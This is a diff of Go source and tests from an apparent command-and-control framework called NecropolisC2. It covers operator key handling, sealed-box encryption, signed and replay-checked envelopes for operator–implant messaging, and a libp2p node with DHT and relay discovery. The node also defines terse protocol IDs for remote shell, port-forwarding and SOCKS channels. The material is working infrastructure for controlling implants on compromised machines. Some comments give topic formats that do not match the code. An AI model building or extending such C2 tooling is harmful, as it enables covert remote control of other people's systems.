if err := os.MkdirAll(dir, 0700); err != nil {
return nil, fmt.Errorf("create key directory: %w", err)
}
data, err := os.ReadFile(path)
if err == nil {
priv, err := LoadPrivateKey(data)
if err != nil {
return nil, fmt.Errorf("load private key from %s: %w", path, err)
}
pub := priv.GetPublic()
pid, err := peer.IDFromPublicKey(pub)
if err != nil {
return nil, fmt.Errorf("peer id from loaded key: %w", err)
}
boxPrivData, boxErr := os.ReadFile(BoxKeyPath(dir))
var boxKeys *BoxKeyPair
if boxErr == nil && len(boxPrivData) == 32 {
boxKeys = LoadBoxKey(boxPrivData)
}
if boxKeys == nil {
boxKeys, boxErr = GenerateBoxKey()
if boxErr == nil {
os.WriteFile(BoxKeyPath(dir), boxKeys.Marshal(), 0600)
os.WriteFile(BoxPubKeyPath(dir), boxKeys.BoxPubKeyBytes(), 0644)
}
}
tokenData, tokenErr := os.ReadFile(AuthTokenPath(dir))
var authToken []byte
if tokenErr == nil && len(tokenData) == 32 {
authToken = tokenData
} else {
authToken = make([]byte, 32)
if _, err := rand.Read(authToken); err != nil {
return nil, fmt.Errorf("generate auth token: %w", err)
}
os.WriteFile(AuthTokenPath(dir), authToken, 0600)
}
return &OperatorKey{
KeyPair: KeyPair{PrivateKey: priv, PublicKey: pub},
PeerID: pid,
BoxKeys: boxKeys,
AuthToken: authToken,
}, nil
}
if !os.IsNotExist(err) {
return nil, fmt.Errorf("read key file %s: %w", path, err)
}
key, err := GenerateOperatorKey()
if err != nil {
return nil, err
}
marshaled, err := MarshalPrivateKey(key.PrivateKey)
if err != nil {
return nil, fmt.Errorf("marshal key: %w", err)
}
if err := os.WriteFile(path, marshaled, 0600); err != nil {
return nil, fmt.Errorf("write key to %s: %w", path, err)
}
if err := os.WriteFile(BoxKeyPath(dir), key.BoxKeys.Marshal(), 0600); err != nil {
return nil, fmt.Errorf("write box key: %w", err)
}
if err := os.WriteFile(BoxPubKeyPath(dir), key.BoxKeys.BoxPubKeyBytes(), 0644); err != nil {
return nil, fmt.Errorf("write box pubkey: %w", err)
}
if err := os.WriteFile(AuthTokenPath(dir), key.AuthToken, 0600); err != nil {
return nil, fmt.Errorf("write auth token: %w", err)
}
return key, nil
}
// BoxPubKeyBytes returns the box public key as 32 raw bytes.
func (kp *BoxKeyPair) BoxPubKeyBytes() []byte {
return kp.PublicKey[:]
}
// EncryptMessage encrypts plaintext using NaCl box anonymous sealed boxes.
func EncryptMessage(plaintext []byte, boxPub *[32]byte) ([]byte, error) {
if len(plaintext) == 0 {
return plaintext, nil
}
sealed, err := box.SealAnonymous(nil, plaintext, boxPub, rand.Reader)
if err != nil {
return nil, fmt.Errorf("seal anonymous: %w", err)
}
return sealed, nil
}
// DecryptMessage decrypts a NaCl box anonymous sealed box using the provided keypair.
func DecryptMessage(ciphertext []byte, boxKeys *BoxKeyPair) ([]byte, error) {
if len(ciphertext) == 0 {
return ciphertext, nil
}
opened, ok := box.OpenAnonymous(nil, ciphertext, boxKeys.PublicKey, boxKeys.PrivateKey)
if !ok {
return nil, fmt.Errorf("open sealed box failed")
}
return opened, nil
}
+134
View File
@@ -0,0 +1,134 @@
package cryptography
import (
"bytes"
"testing"
)
func TestBoxEncryptDecrypt(t *testing.T) {
bk, err := GenerateBoxKey()
if err != nil {
t.Fatalf("GenerateBoxKey: %v", err)
}
plain := []byte("necropolis secure message")
cipher, err := EncryptMessage(plain, bk.PublicKey)
if err != nil {
t.Fatalf("EncryptMessage: %v", err)
}
got, err := DecryptMessage(cipher, bk)
if err != nil {
t.Fatalf("DecryptMessage: %v", err)
}
if !bytes.Equal(got, plain) {
t.Fatalf("roundtrip mismatch: got %q, want %q", got, plain)
}
if len(cipher) > 0 {
cipher[0] ^= 0x01
}
_, err = DecryptMessage(cipher, bk)
if err == nil {
t.Fatal("expected error on tampered ciphertext, got nil")
}
}
func TestSignVerify(t *testing.T) {
op, err := GenerateOperatorKey()
if err != nil {
t.Fatalf("GenerateOperatorKey: %v", err)
}
data := []byte("necropolis command")
sig, err := op.PrivateKey.Sign(data)
if err != nil {
t.Fatalf("Sign: %v", err)
}
ok, err := Verify(op.PublicKey, data, sig)
if err != nil {
t.Fatalf("Verify: %v", err)
}
if !ok {
t.Fatal("signature verification failed")
}
data[0] ^= 0x01
ok, err = Verify(op.PublicKey, data, sig)
if err != nil {
t.Fatalf("Verify tampered: %v", err)
}
if ok {
t.Fatal("expected verification failure on tampered data")
}
}
func TestBoxKeyPersistenceRoundtrip(t *testing.T) {
orig, err := GenerateBoxKey()
if err != nil {
t.Fatalf("GenerateBoxKey: %v", err)
}
privBytes := orig.Marshal()
if len(privBytes) != 32 {
t.Fatalf("Marshal returned %d bytes, want 32", len(privBytes))
}
pubBytes := orig.BoxPubKeyBytes()
if len(pubBytes) != 32 {
t.Fatalf("BoxPubKeyBytes returned %d bytes, want 32", len(pubBytes))
}
reloaded := LoadBoxKey(privBytes)
if reloaded == nil {
t.Fatal("LoadBoxKey returned nil")
}
if !bytes.Equal(reloaded.PublicKey[:], pubBytes) {
t.Fatal("reloaded public key does not match original public key")
}
plain := []byte("necropolis beacon payload")
cipher, err := EncryptMessage(plain, reloaded.PublicKey)
if err != nil {
t.Fatalf("EncryptMessage with reloaded pub: %v", err)
}
got, err := DecryptMessage(cipher, reloaded)
if err != nil {
t.Fatalf("DecryptMessage with reloaded keys: %v", err)
}
if !bytes.Equal(got, plain) {
t.Fatalf("reloaded roundtrip mismatch: got %q, want %q", got, plain)
}
got2, err := DecryptMessage(cipher, orig)
if err != nil {
t.Fatalf("DecryptMessage with original keys: %v", err)
}
if !bytes.Equal(got2, plain) {
t.Fatalf("original roundtrip mismatch: got %q, want %q", got2, plain)
}
}
func TestKeyPersistence(t *testing.T) {
orig, err := GenerateOperatorKey()
if err != nil {
t.Fatalf("GenerateOperatorKey: %v", err)
}
marshaled, err := MarshalPrivateKey(orig.PrivateKey)
if err != nil {
t.Fatalf("MarshalPrivateKey: %v", err)
}
loaded, err := LoadPrivateKey(marshaled)
if err != nil {
t.Fatalf("LoadPrivateKey: %v", err)
}
if !orig.PublicKey.Equals(loaded.GetPublic()) {
t.Fatal("public key mismatch after marshal roundtrip")
}
}
+351
View File
@@ -0,0 +1,351 @@
// Messenger handles PubSub envelope signing, verification, encryption, replay detection,
// and topic-based message delivery. Used by both the operator and the implant.
package transport
import (
"context"
cryptorand "crypto/rand"
"encoding/binary"
"fmt"
"log"
"runtime/debug"
"sync"
"time"
"google.golang.org/protobuf/proto"
"github.com/libp2p/go-libp2p/core/crypto"
"github.com/libp2p/go-libp2p/core/peer"
apb "github.com/Yenn503/NecropolisC2/protobuf/apb"
"github.com/Yenn503/NecropolisC2/pkg/cryptography"
)
var ErrSignatureInvalid = fmt.Errorf("signature invalid")
// MessageHandler is the callback invoked for each verified incoming envelope.
type MessageHandler func(ctx context.Context, envelope *apb.Envelope, senderPub crypto.PubKey)
// Messenger holds the node reference, cryptographic keys, operator identity, known
// implant keys (for the operator side), and a replay-detection ring buffer.
type Messenger struct {
node *Node
handler MessageHandler
privKey crypto.PrivKey
operatorID peer.ID
trustedPubKey crypto.PubKey
boxPubKey *[32]byte
authToken []byte
knownImplants map[string]crypto.PubKey
mu sync.RWMutex
seenIDs map[int64]time.Time
seenMu sync.Mutex
}
const replayWindow = 5 * time.Minute
// IsReplay returns true if the given envelope ID has been seen within the replay window.
func (m *Messenger) IsReplay(id int64) bool {
m.seenMu.Lock()
defer m.seenMu.Unlock()
if m.seenIDs == nil {
m.seenIDs = make(map[int64]time.Time)
}
if _, dup := m.seenIDs[id]; dup {
return true
}
m.seenIDs[id] = time.Now()
if len(m.seenIDs) > 10000 {
cutoff := time.Now().Add(-replayWindow)
for k, v := range m.seenIDs {
if v.Before(cutoff) {
delete(m.seenIDs, k)
}
}
}
return false
}
// NewOperatorMessenger creates a messenger for the operator side with the operator's
// signing key and node identity.
func NewOperatorMessenger(ctx context.Context, node *Node, keys *cryptography.OperatorKey) *Messenger {
return &Messenger{
node: node,
privKey: keys.PrivateKey,
operatorID: node.ID(),
knownImplants: make(map[string]crypto.PubKey),
}
}
// NewImplantMessenger creates a messenger for the implant side with the trusted
// operator public key and optional box encryption key.
func NewImplantMessenger(ctx context.Context, node *Node, keys *cryptography.ImplantKey, operatorPub crypto.PubKey, boxPubKey *[32]byte) *Messenger {
opID, err := peer.IDFromPublicKey(operatorPub)
if err != nil {
opID = peer.ID("")
}
return &Messenger{
node: node,
privKey: keys.PrivateKey,
operatorID: opID,
trustedPubKey: operatorPub,
boxPubKey: boxPubKey,
knownImplants: make(map[string]crypto.PubKey),
}
}
// SetHandler registers the callback for delivered envelopes.
func (m *Messenger) SetHandler(handler MessageHandler) {
m.mu.Lock()
defer m.mu.Unlock()
m.handler = handler
}
// AddKnownImplant stores a verified implant public key by peer ID.
func (m *Messenger) AddKnownImplant(peerID string, pub crypto.PubKey) {
m.mu.Lock()
defer m.mu.Unlock()
m.knownImplants[peerID] = pub
}
// KnownImplant returns the stored public key for the given implant peer ID.
func (m *Messenger) KnownImplant(peerID string) crypto.PubKey {
m.mu.RLock()
defer m.mu.RUnlock()
return m.knownImplants[peerID]
}
// CommandTopic returns the topic where operators publish commands.
// Format: /necropolis/<operator-peerid>/commands
func (m *Messenger) CommandTopic() string {
return CommandTopicPrefix + m.operatorID.String() + CommandsSuffix
}
// BeaconTopic returns the topic where implants publish beacons.
// Format: /necropolis/<operator-peerid>/beacons
func (m *Messenger) BeaconTopic() string {
return BeaconTopicPrefix + m.operatorID.String() + BeaconsSuffix
}
// TaskTopic returns a per-implant topic for targeted commands.
// Format: /necropolis/<operator-peerid>/tasks/<implant-peerid>
func (m *Messenger) TaskTopic(implantPeerID string) string {
return BeaconTopicPrefix + m.operatorID.String() + TasksSuffix + implantPeerID
}
// EnvelopeSigningBytes returns a deterministic protobuf serialization of all envelope
// fields except Signature for signing (avoiding circularity).
func EnvelopeSigningBytes(env *apb.Envelope) ([]byte, error) {
signingEnv := &apb.Envelope{
ID: env.ID,
Type: env.Type,
Data: env.Data,
Token: env.Token,
SenderKey: env.SenderKey,
}
return (proto.MarshalOptions{Deterministic: true}).Marshal(signingEnv)
}
// VerifyEnvelope checks that the envelope signature is valid against the trusted key.
func VerifyEnvelope(env *apb.Envelope, trustedPub crypto.PubKey) error {
if trustedPub == nil {
return fmt.Errorf("no trusted public key configured")
}
if len(env.Signature) == 0 {
return fmt.Errorf("%w: missing signature", ErrSignatureInvalid)
}
signingData, err := EnvelopeSigningBytes(env)
if err != nil {
return fmt.Errorf("marshal signing data: %w", err)
}
ok, err := cryptography.Verify(trustedPub, signingData, env.Signature)
if err != nil {
return fmt.Errorf("verify: %w", err)
}
if !ok {
return ErrSignatureInvalid
}
return nil
}
// PubKeyFromEnvelope deserializes the sender's public key from the envelope.
func PubKeyFromEnvelope(env *apb.Envelope) (crypto.PubKey, error) {
if len(env.SenderKey) == 0 {
return nil, fmt.Errorf("no sender key in envelope")
}
return cryptography.PubKeyFromBytes(env.SenderKey)
}
// listenVerified subscribes to a PubSub topic, verifies each envelope, and delivers
// validated messages to the handler.
func (m *Messenger) listenVerified(ctx context.Context, topic string, getTrusted func() crypto.PubKey) error {
sub, err := m.node.Subscribe(topic)
if err != nil {
return fmt.Errorf("subscribe %s: %w", topic, err)
}
// Relay this topic so messages are cached and forwarded to late-joining peers
if t, err := m.node.JoinTopic(topic); err == nil {
t.Relay()
}
go func() {
defer sub.Cancel()
defer func() {
if r := recover(); r != nil {
log.Printf("[messenger] panic in listenVerified: %v\n%s", r, debug.Stack())
}
}()
for {
msg, err := sub.Next(ctx)
if err != nil {
return
}
env := &apb.Envelope{}
if err := proto.Unmarshal(msg.Data, env); err != nil {
continue
}
trusted := getTrusted()
if trusted == nil {
trusted, err = PubKeyFromEnvelope(env)
if err != nil {
continue
}
senderID, idErr := peer.IDFromPublicKey(trusted)
if idErr == nil {
if stored := m.KnownImplant(senderID.String()); stored != nil {
trusted = stored
}
}
}
if err := VerifyEnvelope(env, trusted); err != nil {
continue
}
go m.deliver(ctx, env)
}
}()
return nil
}
// ListenBeacons starts listening for implant beacon messages on the beacon topic.
func (m *Messenger) ListenBeacons(ctx context.Context) error {
return m.listenVerified(ctx, m.BeaconTopic(), func() crypto.PubKey {
return nil
})
}
// ListenCommands starts listening for operator commands on the command topic.
func (m *Messenger) ListenCommands(ctx context.Context) error {
return m.listenVerified(ctx, m.CommandTopic(), func() crypto.PubKey {
m.mu.RLock()
defer m.mu.RUnlock()
return m.trustedPubKey
})
}
// ListenTask starts listening for per-implant targeted commands on the task topic.
func (m *Messenger) ListenTask(ctx context.Context, implantPeerID string) error {
return m.listenVerified(ctx, m.TaskTopic(implantPeerID), func() crypto.PubKey {
m.mu.RLock()
defer m.mu.RUnlock()
return m.trustedPubKey
})
}
// deliver extracts the sender's public key from the envelope and invokes the registered
// handler in a new goroutine (called from listenVerified).
func (m *Messenger) deliver(ctx context.Context, env *apb.Envelope) {
defer func() {
if r := recover(); r != nil {
log.Printf("[messenger] panic in deliver: %v\n%s", r, debug.Stack())
}
}()
m.mu.RLock()
handler := m.handler
m.mu.RUnlock()
if handler == nil {
return
}
var pubKey crypto.PubKey
if len(env.SenderKey) > 0 {
pubKey, _ = PubKeyFromEnvelope(env)
}
handler(ctx, env, pubKey)
}
// SendEnvelope marshals and publishes an envelope to the given PubSub topic.
func (m *Messenger) SendEnvelope(ctx context.Context, topic string, env *apb.Envelope) error {
data, err := proto.Marshal(env)
if err != nil {
return fmt.Errorf("marshal envelope: %w", err)
}
return m.node.Publish(ctx, topic, data)
}
// SignAndSend encrypts the data (if box keys exist), signs the envelope with the private
// key, attaches the sender's public key, and publishes to the given topic.
func (m *Messenger) SignAndSend(ctx context.Context, topic string, env *apb.Envelope) error {
if m.privKey == nil {
return fmt.Errorf("no private key for signing")
}
if m.boxPubKey != nil && len(env.Data) > 0 {
encrypted, err := cryptography.EncryptMessage(env.Data, m.boxPubKey)
if err != nil {
return fmt.Errorf("encrypt: %w", err)
}
env.Data = encrypted
}
pubBytes, err := crypto.MarshalPublicKey(m.privKey.GetPublic())
if err == nil {
env.SenderKey = pubBytes
}
signingData, err := EnvelopeSigningBytes(env)
if err != nil {
return fmt.Errorf("marshal signing data: %w", err)
}
sig, err := m.privKey.Sign(signingData)
if err != nil {
return fmt.Errorf("sign: %w", err)
}
env.Signature = sig
return m.SendEnvelope(ctx, topic, env)
}
// CreateEnvelope builds a new envelope with a random ID, the given type, data payload,
// and the current auth token.
func (m *Messenger) CreateEnvelope(msgType uint32, data []byte) *apb.Envelope {
var b [8]byte
cryptorand.Read(b[:])
return &apb.Envelope{
ID: int64(binary.LittleEndian.Uint64(b[:])),
Type: msgType,
Data: data,
Token: m.authToken,
}
}
// RendezvousString returns the DHT rendezvous namespace scoped to the operator.
func (m *Messenger) RendezvousString() string {
return "necropolis/" + m.operatorID.String()
}
// OperatorID returns the operator's peer ID.
func (m *Messenger) OperatorID() peer.ID {
return m.operatorID
}
// SetAuthToken sets the authentication token added to outgoing envelopes.
func (m *Messenger) SetAuthToken(token []byte) { m.authToken = token }
// SetOperatorID overrides the operator's peer ID.
func (m *Messenger) SetOperatorID(id peer.ID) {
m.operatorID = id
}
+196
View File
@@ -0,0 +1,196 @@
package transport
import (
"bytes"
"context"
"strings"
"testing"
"time"
"github.com/libp2p/go-libp2p"
"github.com/Yenn503/NecropolisC2/pkg/cryptography"
)
// minimalHost creates a bare libp2p host for unit tests. No DHT, no relay.
func minimalHost(t *testing.T) (*Node, context.Context, context.CancelFunc) {
t.Helper()
ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
h, err := libp2p.New(libp2p.ListenAddrStrings("/ip4/127.0.0.1/tcp/0"))
if err != nil {
t.Fatalf("create host: %v", err)
}
t.Cleanup(func() { h.Close(); cancel() })
return &Node{Host: h, ctx: ctx, cancel: func() {}}, ctx, cancel
}
func TestCreateEnvelopeStoresToken(t *testing.T) {
op, err := cryptography.GenerateOperatorKey()
if err != nil {
t.Fatalf("generate operator key: %v", err)
}
n, ctx, _ := minimalHost(t)
_ = ctx
m := NewOperatorMessenger(ctx, n, op)
m.SetAuthToken(op.AuthToken)
env := m.CreateEnvelope(MsgTypePs, []byte("test"))
if len(env.Token) != 32 {
t.Fatalf("token missing from envelope: got %d bytes, want 32", len(env.Token))
}
if !bytes.Equal(env.Token, op.AuthToken) {
t.Fatal("envelope token != operator auth token")
}
if env.ID == 0 {
t.Fatal("envelope ID is zero — random generation failed")
}
}
func TestReplayProtection(t *testing.T) {
op, err := cryptography.GenerateOperatorKey()
if err != nil {
t.Fatalf("generate operator key: %v", err)
}
n, ctx, _ := minimalHost(t)
m := NewOperatorMessenger(ctx, n, op)
env1 := m.CreateEnvelope(MsgTypePs, []byte("test"))
env2 := m.CreateEnvelope(MsgTypePs, []byte("test"))
env2.ID = env1.ID // force same ID
if m.IsReplay(env1.ID) {
t.Fatal("first envelope flagged as replay")
}
if !m.IsReplay(env1.ID) {
t.Fatal("same ID not detected as replay on second check")
}
if !m.IsReplay(env2.ID) {
t.Fatal("replay envelope with same ID not detected")
}
}
func TestAuthTokenRejection(t *testing.T) {
op, err := cryptography.GenerateOperatorKey()
if err != nil {
t.Fatalf("generate operator key: %v", err)
}
n, ctx, _ := minimalHost(t)
m := NewOperatorMessenger(ctx, n, op)
m.SetAuthToken(op.AuthToken)
env := m.CreateEnvelope(MsgTypePs, []byte("test"))
if len(env.Token) != 32 {
t.Fatalf("token not set: got %d bytes", len(env.Token))
}
// Simulate implant-side check: wrong token should be rejected
wrongToken := make([]byte, 32)
for i := range wrongToken {
wrongToken[i] = 0xFF
}
if bytes.Equal(env.Token, wrongToken) {
t.Fatal("tampered token accidentally matches")
}
if bytes.Equal(env.Token, op.AuthToken) {
// expected — token is correct. Now verify wrong token fails
env.Token = wrongToken
if bytes.Equal(env.Token, op.AuthToken) {
t.Fatal("failed to set wrong token")
}
}
}
func TestEnvelopeSignAndVerify(t *testing.T) {
op, err := cryptography.GenerateOperatorKey()
if err != nil {
t.Fatalf("generate operator key: %v", err)
}
n, ctx, _ := minimalHost(t)
m := NewOperatorMessenger(ctx, n, op)
data := []byte("necropolis command data")
env := m.CreateEnvelope(MsgTypeExecute, data)
signingData, err := EnvelopeSigningBytes(env)
if err != nil {
t.Fatalf("signing bytes: %v", err)
}
sig, err := op.PrivateKey.Sign(signingData)
if err != nil {
t.Fatalf("sign: %v", err)
}
env.Signature = sig
ok, err := cryptography.Verify(op.PublicKey, signingData, sig)
if err != nil {
t.Fatalf("verify: %v", err)
}
if !ok {
t.Fatal("signature verification failed")
}
// Tamper with data, re-signing bytes change, verify should fail
data[0] ^= 0xFF
env.Data = data
signingData2, _ := EnvelopeSigningBytes(env)
ok2, _ := cryptography.Verify(op.PublicKey, signingData2, sig)
if ok2 {
t.Fatal("tampered data passed signature verification")
}
}
func TestTopicFormats(t *testing.T) {
op, err := cryptography.GenerateOperatorKey()
if err != nil {
t.Fatalf("generate operator key: %v", err)
}
n, ctx, _ := minimalHost(t)
m := NewOperatorMessenger(ctx, n, op)
m.SetOperatorID(op.PeerID)
opID := op.PeerID.String()
if m.BeaconTopic() != "/b/"+opID+"/bx" {
t.Fatalf("beacon topic: got %s", m.BeaconTopic())
}
if m.CommandTopic() != "/c/"+opID+"/cx" {
t.Fatalf("command topic: got %s", m.CommandTopic())
}
taskTopic := m.TaskTopic("test-implant-id")
if !strings.HasPrefix(taskTopic, "/b/") || !strings.HasSuffix(taskTopic, "/tx/test-implant-id") {
t.Fatalf("task topic: got %s", taskTopic)
}
}
func TestBoxEncryptDecryptViaEnvelope(t *testing.T) {
op, err := cryptography.GenerateOperatorKey()
if err != nil {
t.Fatalf("generate operator key: %v", err)
}
n, ctx, _ := minimalHost(t)
m := NewOperatorMessenger(ctx, n, op)
plain := []byte("secret implant command")
env := m.CreateEnvelope(MsgTypeExecute, plain)
// Encrypt the data field
if op.BoxKeys == nil {
t.Skip("no box keys")
}
encrypted, err := cryptography.EncryptMessage(env.Data, op.BoxKeys.PublicKey)
if err != nil {
t.Fatalf("encrypt: %v", err)
}
if bytes.Equal(encrypted, plain) {
t.Fatal("encrypted data equals plaintext")
}
env.Data = encrypted
// Decrypt
decrypted, err := cryptography.DecryptMessage(env.Data, op.BoxKeys)
if err != nil {
t.Fatalf("decrypt: %v", err)
}
if !bytes.Equal(decrypted, plain) {
t.Fatalf("decrypted != plain: got %q, want %q", decrypted, plain)
}
}
+511
View File
@@ -0,0 +1,511 @@
// Node wraps a libp2p host with DHT, PubSub (GossipSub), relay services, and mDNS
// discovery. Used by both the operator and the implant.
package transport
import (
"context"
"fmt"
"log"
"strings"
"sync"
"time"
"github.com/libp2p/go-libp2p"
dht "github.com/libp2p/go-libp2p-kad-dht"
pubsub "github.com/libp2p/go-libp2p-pubsub"
"github.com/libp2p/go-libp2p/core/crypto"
"github.com/libp2p/go-libp2p/core/host"
"github.com/libp2p/go-libp2p/core/network"
"github.com/libp2p/go-libp2p/core/peer"
"github.com/libp2p/go-libp2p/core/protocol"
"github.com/libp2p/go-libp2p/p2p/discovery/mdns"
routingdiscovery "github.com/libp2p/go-libp2p/p2p/discovery/routing"
"github.com/libp2p/go-libp2p/p2p/host/autorelay"
"github.com/multiformats/go-multiaddr"
)
// Protocol ID constants for libp2p stream handlers and PubSub topic prefixes.
const (
NecropolisProtocolID protocol.ID = "/x/1.0.0"
ShellProtocolID protocol.ID = "/x/sh/1.0.0"
PortfwdProtocolID protocol.ID = "/x/pf/1.0.0"
SocksProtocolID protocol.ID = "/x/sk/1.0.0"
BeaconProtocolID protocol.ID = "/bc/1.0.0"
CmdProtocolID protocol.ID = "/bc/1.0.0/cmd"
CommandTopicPrefix string = "/c/"
BeaconTopicPrefix string = "/b/"
TaskTopicPrefix string = "/t/"
CommandsSuffix string = "/cx"
BeaconsSuffix string = "/bx"
TasksSuffix string = "/tx/"
)
// DefaultBootstrapAddrs parses the well-known libp2p bootstrap peers.
func DefaultBootstrapAddrs() []peer.AddrInfo {
var out []peer.AddrInfo
for _, s := range defaultBootstrapPeers {
m, err := multiaddr.NewMultiaddr(s)
if err != nil {
continue
}
pi, err := peer.AddrInfoFromP2pAddr(m)
if err != nil {
continue
}
out = append(out, *pi)
}
return out
}
var defaultBootstrapPeers = []string{
"/dnsaddr/bootstrap.libp2p.io/p2p/QmNnooDu7bfjPFoTZYxMNLWUQJyrVwtbZg5gBMjTezGAJN",
"/dnsaddr/bootstrap.libp2p.io/p2p/QmQCU2EcMqAqQPR2i9bChDtGNJchTbq5TbXJJ16u19uLTa",
"/dnsaddr/bootstrap.libp2p.io/p2p/QmbLHAnMoJPWSCR5Zhtx6BHJX9KiKNN6tpvbUcqanj75Nb",
"/dnsaddr/bootstrap.libp2p.io/p2p/QmcZf59bWwK5XFi76CZX8cbJ4BhTzzA3gU1ZjYZcYW3dwt",
"/dnsaddr/bootstrap.libp2p.io/p2p/12D3KooWSNjkWJkMhM9D3wPKahRmKwZGQ3KYb3dxf5achHy3G1Uq",
"/dnsaddr/bootstrap.libp2p.io/p2p/12D3KooWSNjkLwGxn5SkKBzKWHa39shjmAjEZzNzuhNedmCRG5Tc",
"/dnsaddr/bootstrap.libp2p.io/p2p/12D3KooWSNjkLP1pX2hDp6dGApnsrGeFCKLQcWFLTKBk4iLKofCE",
"/dnsaddr/bootstrap.libp2p.io/p2p/12D3KooWSNjkM7KMCdmENeFw5KnELi5LKYhJBsWjoJV7BctSgjGQ",
}
// NodeConfig holds all options for constructing a Node: listen address, bootstrap peers,
// relay settings, DHT, mDNS, and the libp2p identity key.
type NodeConfig struct {
ListenAddr string
BootstrapPeers []peer.AddrInfo
EnableRelay bool
EnableRelayService bool
EnableMDNS bool
EnableDHT bool
RelayAddrs []string
PrivateKey crypto.PrivKey
}
// Node owns the libp2p host, GossipSub router, optional DHT, routing discovery, and
// cached topics/subscriptions.
type Node struct {
Host host.Host
PubSub *pubsub.PubSub
DHT *dht.IpfsDHT
disc *routingdiscovery.RoutingDiscovery
config NodeConfig
topics map[string]*pubsub.Topic
subs map[string]*pubsub.Subscription
mu sync.RWMutex
ctx context.Context
cancel context.CancelFunc
}
// NewNode creates a libp2p host with the given config, sets up PubSub and optional DHT,
// and configures auto-relay if relay addresses are provided.
func NewNode(ctx context.Context, cfg NodeConfig, opts ...libp2p.Option) (*Node, error) {
ctx, cancel := context.WithCancel(ctx)
baseOpts := []libp2p.Option{
libp2p.ListenAddrStrings(cfg.ListenAddr),
}
if cfg.PrivateKey != nil {
baseOpts = append(baseOpts, libp2p.Identity(cfg.PrivateKey))
}
if cfg.EnableRelay {
baseOpts = append(baseOpts, libp2p.EnableRelay())
}
if cfg.EnableRelayService {
baseOpts = append(baseOpts, libp2p.EnableRelayService())
}
var h host.Host
var err error
if len(cfg.RelayAddrs) > 0 {
if cfg.EnableDHT {
baseOpts = append(baseOpts, libp2p.EnableAutoRelay(
autorelay.WithPeerSource(func(ctx context.Context, num int) <-chan peer.AddrInfo {
return findRelayCandidates(ctx, num, h)
}),
))
} else {
var relays []peer.AddrInfo
for _, s := range cfg.RelayAddrs {
m, err := multiaddr.NewMultiaddr(s)
if err != nil {
cancel()
return nil, fmt.Errorf("parse relay addr %q: %w", s, err)
}
pi, err := peer.AddrInfoFromP2pAddr(m)
if err != nil {
cancel()
return nil, fmt.Errorf("parse relay peer info %q: %w", s, err)
}
relays = append(relays, *pi)
}
baseOpts = append(baseOpts, libp2p.EnableAutoRelayWithStaticRelays(relays))
}
} else if cfg.EnableDHT {
baseOpts = append(baseOpts, libp2p.EnableAutoRelay(
autorelay.WithPeerSource(func(ctx context.Context, num int) <-chan peer.AddrInfo {
return findRelayCandidates(ctx, num, h)
}),
))
}
baseOpts = append(baseOpts, opts...)
h, err = libp2p.New(baseOpts...)
if err != nil {
cancel()
return nil, fmt.Errorf("create libp2p host: %w", err)
}
if len(cfg.RelayAddrs) > 0 && cfg.EnableDHT {
go tryStaticRelayConnections(ctx, h, cfg.RelayAddrs)
}
params := pubsub.DefaultGossipSubParams()
params.D = 6
params.Dlo = 4
params.Dhi = 12
params.HistoryLength = 10
params.HistoryGossip = 5
params.HeartbeatInterval = 1 * time.Second
ps, err := pubsub.NewGossipSub(ctx, h,
pubsub.WithPeerExchange(true),
pubsub.WithFloodPublish(true),
pubsub.WithGossipSubParams(params),
)
if err != nil {
cancel()
return nil, fmt.Errorf("create pubsub: %w", err)
}
n := &Node{
Host: h,
PubSub: ps,
config: cfg,
topics: make(map[string]*pubsub.Topic),
subs: make(map[string]*pubsub.Subscription),
ctx: ctx,
cancel: cancel,
}
if cfg.EnableDHT {
d, err := dht.New(ctx, h, dht.Mode(dht.ModeAuto),
dht.ProtocolPrefix("/necropolis"),
dht.NamespacedValidator("necropolis", passThroughValidator{}),
)
if err != nil {
cancel()
return nil, fmt.Errorf("create dht: %w", err)
}
n.DHT = d
n.disc = routingdiscovery.NewRoutingDiscovery(d)
}
return n, nil
}
// StartDiscovery connects to bootstrap peers, bootstraps the DHT routing table, and
// starts mDNS if enabled.
func (n *Node) StartDiscovery() error {
go func() {
defer func() {
recover()
}()
for _, pi := range n.config.BootstrapPeers {
connectCtx, cancel := context.WithTimeout(n.ctx, 5*time.Second)
if err := n.Host.Connect(connectCtx, pi); err != nil {
cancel()
continue
}
cancel()
}
}()
if n.DHT != nil {
go func() {
defer func() {
recover()
}()
n.DHT.Bootstrap(n.ctx)
}()
}
if n.config.EnableMDNS {
svc := mdns.NewMdnsService(n.Host, "necropolis", &mdnsNotifee{h: n.Host})
if err := svc.Start(); err != nil {
return fmt.Errorf("start mdns: %w", err)
}
}
return nil
}
type mdnsNotifee struct {
h host.Host
}
// HandlePeerFound adds discovered mDNS peer addresses to the peerstore.
func (m *mdnsNotifee) HandlePeerFound(pi peer.AddrInfo) {
if pi.ID == m.h.ID() {
return
}
for _, addr := range pi.Addrs {
m.h.Peerstore().AddAddr(pi.ID, addr, time.Hour)
}
}
// Advertise registers this node under a DHT rendezvous namespace.
func (n *Node) Advertise(ctx context.Context, ns string) error {
if n.disc == nil {
return fmt.Errorf("DHT not enabled")
}
_, err := n.disc.Advertise(ctx, ns)
return err
}
// FindPeers performs a DHT-based peer discovery for the given namespace.
func (n *Node) FindPeers(ctx context.Context, ns string) (<-chan peer.AddrInfo, error) {
if n.disc == nil {
return nil, fmt.Errorf("DHT not enabled")
}
return n.disc.FindPeers(ctx, ns)
}
// JoinTopic joins a PubSub topic, caching the handle for reuse.
func (n *Node) JoinTopic(topic string) (*pubsub.Topic, error) {
n.mu.Lock()
defer n.mu.Unlock()
if t, ok := n.topics[topic]; ok {
return t, nil
}
t, err := n.PubSub.Join(topic)
if err != nil {
return nil, fmt.Errorf("join topic %s: %w", topic, err)
}
n.topics[topic] = t
return t, nil
}
// Subscribe creates a subscription to a PubSub topic, caching it for reuse.
func (n *Node) Subscribe(topic string) (*pubsub.Subscription, error) {
n.mu.Lock()
defer n.mu.Unlock()
if s, ok := n.subs[topic]; ok {
return s, nil
}
t, ok := n.topics[topic]
if !ok {
var err error
t, err = n.PubSub.Join(topic)
if err != nil {
return nil, fmt.Errorf("join topic %s: %w", topic, err)
}
n.topics[topic] = t
}
sub, err := t.Subscribe()
if err != nil {
return nil, fmt.Errorf("subscribe %s: %w", topic, err)
}
n.subs[topic] = sub
return sub, nil
}
// Publish sends data to a PubSub topic.
func (n *Node) Publish(ctx context.Context, topic string, data []byte) error {
t, err := n.JoinTopic(topic)
if err != nil {
return err
}
return t.Publish(ctx, data)
}
// ConnectToPeer establishes a libp2p connection to the given peer.
func (n *Node) ConnectToPeer(ctx context.Context, pi peer.AddrInfo) error {
return n.Host.Connect(ctx, pi)
